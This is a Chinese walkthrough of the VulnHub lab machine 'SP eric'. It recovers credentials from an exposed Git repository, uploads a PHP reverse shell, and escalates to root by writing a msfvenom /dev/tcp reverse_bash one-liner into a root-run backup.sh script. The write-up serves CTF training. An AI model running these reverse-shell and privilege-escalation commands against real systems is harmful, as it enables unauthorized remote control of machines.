内容简介:大家好,今天给大家带来的靶机是SP eric,这个靶机有两个flag,我们的目标就是把它们都找出来,flag的位置已经提供,如下:·/root/flag.txt· /root/eric/flag.txt
大家好,今天给大家带来的靶机是SP eric,这个靶机有两个flag,我们的目标就是把它们都找出来,flag的位置已经提供,如下:
·/root/flag.txt
· /root/eric/flag.txt
靶机下载地址: https://www.vulnhub.com/entry/sp-eric,274/
渗透方法
· 网络扫描
· 访问HTTP服务端口
· 使用dirb遍历目录
· 使用gitdumper来下载git文件
· 使用extractor来提取git文件
· 遍历登录凭证
· 上传 PHP 反向shell
· 获取用户flag
· 利用PHP shell编辑文件
·获取root用户flag
Writeup
首先我们用nmap来对这个靶机进行端口扫描,通过扫描可以看到开放了80端口,如下图,我们还看到了扫出来了一个Git目录。
nmap -A 192.168.1.18
既然开了80,我们就在浏览器中访问一下,看到如下信息,“blog under construction”(博客正在建设中),如图,看起来好像没什么可挖掘的,我们再试试其他办法。
那我们就来试一下目录遍历,这里我们使用dirb这款工具。扫出来了一个admin.php文件和一个upload目录。OK,我们将对它们进一步挖掘。
dirb //192.168.1.18
访问admin.php,是一个表单,有username和password这两个字段。看到表单,我们马上就会想到 SQL 注入。于是我们花了一点时间进行尝试,无果,只好放弃,只能再尝试其他方法。
现在,继续看nmap扫描结果,我们找到了一个Git库。在google上查找一番之后,我们找到了一个Git泄露利用工具GitTools。我们把 工具 下载到桌面,如下图,接着我们进入到GitTools工具目录,ls一下,我们可以看到有3个工具:Dumper,Extractor和Finder。我们将使用这个工具来遍历我们发现的Git库。
git clone //github.com/internetwache/GitTools.git cd GitTools/ ls
首先,我们进入到Dumper目录,使用gitdumper工具。这会dump Git库中的所有文件。我们只需要指定一个下载目录即可,如下图:
现在我们已经成功dump了Git库中的所有文件。接着该使用Extractor工具了。进入到Extractor目录中,使用Extractor工具,需要指定两个目录,一个是刚才dump文件的目录,一个是提取文件的目录,如下图:
./extractor.sh ../Dumper/dest-dir ./dest-dir
Extractor会根据Git中的commits来创建目录,如下图所示。Git中有3个commits,所以创建了3个目录。首先,我们进入其中一个目录“3db5628b550f5c9c9f6f663cd158374035a6eaa0”,发现里面有三个文件:admin.php,commitmeta.txt和index.php。我们用cat命令来查看一下admin.php这个文件,发现了之前访问80端口时表单中的用户名和密码,我们把这个凭证标记出来了,如下图:
回到之前的表单页面,然后输入凭证,成功登陆。登进来之后,我们发现了更多的表单,一个是“add new post”,还有一个是“add site to blogroll”,都是在建设中,如图:
我们在表单中随便填入一些信息,然后在上传文件的位置选择一个PHP反向shell。填完之后,我们点击add按钮来添加,如图:
虽然文件已经上传了,但我们要获取到会话,还是要在靶机上访问一下这个文件。回到nmap扫描结果,我们找到一个“upload”目录。猜想一下,刚才上传的文件应该是传到了upload目录下,于是我们在浏览器中访问一下upload目录下的该文件,如下图:
另一方面,我们需要打开一个终端,创建一个nc监听器,监听的端口是PHP反向 shell 脚本里设置的端口。很快,我们就获得了靶机的shell。不过,获得的好像是一个Python shell,要获得靶机的系统shell,我们需要使用 Python 的一个语句,如下图。进入靶机的系统shell之后,我们就可以ls查看一下当前目录内容了,发现了eric目录,进入到该目录,找到了第一个flag。同时,在这个eric目录下,我们还发现了一个backup.sh文件,这个文件是以root身份运行的,并且具有所有的权限,如下图所示:
nc -lvp 1234 python3 -c 'import pty;pty.spawn("/bin/bash")' cd /home ls -al cd eric ls -al cat flag.txt
因此,我们就需要利用这个backup.sh文件来提权到root。我们创建了一个msfvenom脚本来打这个靶机。我们使用的是reverse_bash这个payload来创建脚本的,如下:
msfvenom -p cmd/unix/reverse_bash lhost=192.168.1.4 lport=4455 R
复制脚本内容,然后切换到靶机的shell会话中,使用echo命令,将内容写入到backup.sh中,如下:
echo "0<&171-;exec 171<>/dev/tcp/192.168.1.4/4455;sh <&171 >&171 2>&171" > backup.sh cat backup.sh
打开一个新的终端,再创建另外一个nc监听器,监听的端口就是刚才使用msfvenom创建脚本时的端口,4455。接着,我们执行一下这个backup.sh文件,马上就获得了一个root shell。我们还是需要使用Python语句来进入到系统的shell中。接着,我们切换到root目录下,看到了root flag,如下图:
nc -lvp 4455 id python3 -c 'import pty;pty.spawn("/bin/bash")' cd /root ls cat flag.txt
以上就是本文的全部内容,希望本文的内容对大家的学习或者工作能带来一定的帮助,也希望大家多多支持 码农网
猜你喜欢:本站部分资源来源于网络,本站转载出于传递更多信息之目的,版权归原作者或者来源机构所有,如转载稿涉及版权问题,请联系我们。
利用Python进行数据分析
Wes McKinney / 唐学韬 / 机械工业出版社 / 2013-11-18 / 89.00
【名人推荐】 “科学计算和数据分析社区已经等待这本书很多年了:大量具体的实践建议,以及大量综合应用方法。本书在未来几年里肯定会成为Python领域中技术计算的权威指南。” ——Fernando Pérez 加州大学伯克利分校 研究科学家, IPython的创始人之一 【内容简介】 还在苦苦寻觅用Python控制、处理、整理、分析结构化数据的完整课程?本书含有大量的实践案例,......一起来看看 《利用Python进行数据分析》 这本书的介绍吧!